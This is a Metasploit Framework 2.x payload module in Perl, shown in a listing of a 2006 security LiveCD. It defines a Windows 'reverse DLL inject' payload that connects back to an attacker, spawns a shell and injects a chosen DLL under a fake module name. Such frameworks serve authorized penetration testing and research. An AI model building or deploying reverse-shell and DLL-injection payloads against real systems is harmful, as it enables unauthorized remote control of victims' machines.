home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / payloads / win32_reverse_dllinject.pm < prev    next >
Text File  |  2006-06-30  |  2KB  |  77 lines

  1.  
  2. ##
  3. # This file is part of the Metasploit Framework and may be redistributed
  4. # according to the licenses defined in the Authors field below. In the
  5. # case of an unknown or missing license, this file defaults to the same
  6. # license as the core Framework (dual GPLv2 and Artistic). The latest
  7. # version of the Framework can always be obtained from metasploit.com.
  8. ##
  9.  
  10. package Msf::Payload::win32_reverse_dllinject;
  11. use strict;
  12. use base 'Msf::PayloadComponent::Windows::ia32::InjectLibStage';
  13.  
  14.  
  15. my $info =
  16. {
  17.     'Name'          => 'Windows Reverse DLL Inject',
  18.     'Version'       => '$Revision: 1.15 $',
  19.     'Description'   => 'Connect back to attacker and spawn a shell',
  20.     'Authors'       => 
  21.         [
  22.             'Matt Miller <mmiller [at] hick.org>',
  23.             'Jarkko Turkulainen <jt [at] klake.org>',
  24.         ],
  25.     'UserOpts'      =>
  26.         { 
  27.             'DLL'     => [1, 'PATH', 'The full path to the DLL that should be injected'],
  28.             'DLLNAME' => [0, 'PATH', 'The name of the DLL as it will appear in the module list'] 
  29.         },
  30. };
  31.  
  32. sub _Load 
  33. {
  34.     Msf::PayloadComponent::Windows::ia32::InjectLibStage->_Import('Msf::PayloadComponent::Windows::ia32::ReverseStager');
  35.  
  36.     __PACKAGE__->SUPER::_Load();
  37. }
  38.  
  39. sub new 
  40. {
  41.     my $class = shift;
  42.     my $hash = @_ ? shift : { };
  43.     my $self;
  44.  
  45.     _Load();
  46.  
  47.     $hash = $class->MergeHashRec($hash, {'Info' => $info});
  48.     $self = $class->SUPER::new($hash, @_);
  49.  
  50.     return($self);
  51. }
  52.  
  53. #
  54. # Returns the path to the DLL that is to be injected
  55. #
  56. sub _InjectDLL 
  57. {
  58.     my $self = shift;
  59.  
  60.     return $self->GetVar('DLL');
  61. }
  62.  
  63. #
  64. # Returns the name of the DLL that is to be injected (fake name)
  65. #
  66. sub _InjectDLLName 
  67. {
  68.     my $self = shift;
  69.     my $name =  $self->GetVar('DLLNAME');
  70.  
  71.     $name = "hax0r.dll" if (not defined($name));
  72.  
  73.     return $name;
  74. }
  75.  
  76. 1;
  77.